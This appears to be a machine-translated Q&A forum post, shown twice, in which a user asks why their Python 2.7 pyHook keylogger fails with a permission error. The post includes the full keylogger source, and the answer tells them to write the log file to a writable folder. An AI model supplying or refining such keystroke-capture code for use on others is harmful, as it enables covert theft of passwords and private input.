Errno 13 python 2.7 不确定如何修复
Errno 13 python 2.7 not sure how to fix
我正在尝试在 Python 2.7 中制作一个简单的键盘记录器。
这是代码
# -*- coding: cp1252 -*-
import pyHook
import pythoncom
import sys
import logging
from subprocess import call
call(["cd","C:/"],shell=True)
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我尝试使用它时,它 returns 这个错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Finlay\Documents\Python-Projects\Mali\Mali.py", line 10, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\keyloggeroutput.txt'
感谢任何帮助,我可以看到权限被拒绝,但我不知道如何解决。
因为它有效,我把它作为答案:
您必须将 keyloggeroutput.txt
放在您有足够权限的文件夹中,例如"My Documents" 如果你在 MS Windows.
我正在尝试在 Python 2.7 中制作一个简单的键盘记录器。
这是代码
# -*- coding: cp1252 -*-
import pyHook
import pythoncom
import sys
import logging
from subprocess import call
call(["cd","C:/"],shell=True)
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我尝试使用它时,它 returns 这个错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Finlay\Documents\Python-Projects\Mali\Mali.py", line 10, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\keyloggeroutput.txt'
感谢任何帮助,我可以看到权限被拒绝,但我不知道如何解决。
因为它有效,我把它作为答案:
您必须将 keyloggeroutput.txt
放在您有足够权限的文件夹中,例如"My Documents" 如果你在 MS Windows.